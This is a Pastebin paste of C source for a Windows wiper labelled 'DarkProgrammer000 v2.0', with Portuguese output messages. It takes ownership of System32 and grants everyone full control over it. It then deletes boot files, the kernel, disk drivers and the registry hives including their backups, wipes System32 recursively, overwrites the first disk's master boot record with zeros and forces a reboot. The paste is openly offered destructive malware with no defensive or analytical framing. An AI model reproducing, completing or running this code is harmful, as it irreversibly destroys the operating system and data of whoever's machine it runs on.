Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- void silent(const char* cmd) {
- char buffer[512];
- sprintf(buffer, "%s >nul 2>&1", cmd);
- system(buffer);
- }
- void wipeFile(const char* path) {
- if (DeleteFileA(path)) {
- printf("[+] Deletado: %s\n", path);
- } else {
- printf("[-] Falha: %s (erro %lu)\n", path, GetLastError());
- }
- }
- void nukeRegistryAndBackups() {
- const char* regPaths[] = {
- "C:\\Windows\\System32\\config\\SAM",
- "C:\\Windows\\System32\\config\\SYSTEM",
- "C:\\Windows\\System32\\config\\SOFTWARE",
- "C:\\Windows\\System32\\config\\SECURITY",
- "C:\\Windows\\System32\\config\\DEFAULT",
- "C:\\Windows\\System32\\config\\RegBack\\SAM",
- "C:\\Windows\\System32\\config\\RegBack\\SYSTEM",
- "C:\\Windows\\System32\\config\\RegBack\\SOFTWARE"
- };
- for (int i = 0; i < sizeof(regPaths)/sizeof(regPaths[0]); i++) {
- wipeFile(regPaths[i]);
- }
- }
- void destroyBootAndDrivers() {
- const char* critical[] = {
- "C:\\bootmgr",
- "C:\\Windows\\System32\\ntoskrnl.exe",
- "C:\\Windows\\System32\\winload.exe",
- "C:\\Windows\\System32\\winload.efi",
- "C:\\Windows\\System32\\hal.dll",
- "C:\\Windows\\System32\\drivers\\disk.sys",
- "C:\\Windows\\System32\\drivers\\ntfs.sys",
- "C:\\Windows\\System32\\drivers\\volmgr.sys"
- };
- for (int i = 0; i < sizeof(critical)/sizeof(critical[0]); i++) {
- wipeFile(critical[i]);
- }
- }
- void takeSystem32Ownership() {
- silent("takeown /f C:\\Windows\\System32 /r /d y");
- silent("icacls C:\\Windows\\System32 /grant Everyone:F /t");
- }
- void deleteSystem32() {
- system("del /f /s /q C:\\Windows\\System32\\*.* >nul 2>&1");
- }
- void zeroMBR() {
- HANDLE hDisk = CreateFileA(
- "\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE,
- NULL, OPEN_EXISTING, 0, NULL
- );
- if (hDisk == INVALID_HANDLE_VALUE) {
- printf("[-] Falha ao acessar o disco físico (erro %lu)\n", GetLastError());
- return;
- }
- BYTE zeroBuffer[512] = {0};
- DWORD bytesWritten;
- if (WriteFile(hDisk, zeroBuffer, 512, &bytesWritten, NULL)) {
- printf("[+] MBR zerado com sucesso!\n");
- } else {
- printf("[-] Falha ao apagar MBR (erro %lu)\n", GetLastError());
- }
- CloseHandle(hDisk);
- }
- void formatCDrive() {
- system("format C: /fs:NTFS /q /x /y");
- }
- int main() {
- printf("=== DarkProgrammer000 v2.0 - EXECUTANDO O FIM ===\n");
- takeSystem32Ownership();
- destroyBootAndDrivers();
- nukeRegistryAndBackups();
- deleteSystem32();
- zeroMBR();
- printf("[!] Reiniciando para colapsar o sistema...\n");
- system("shutdown -r -f -t 0");
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement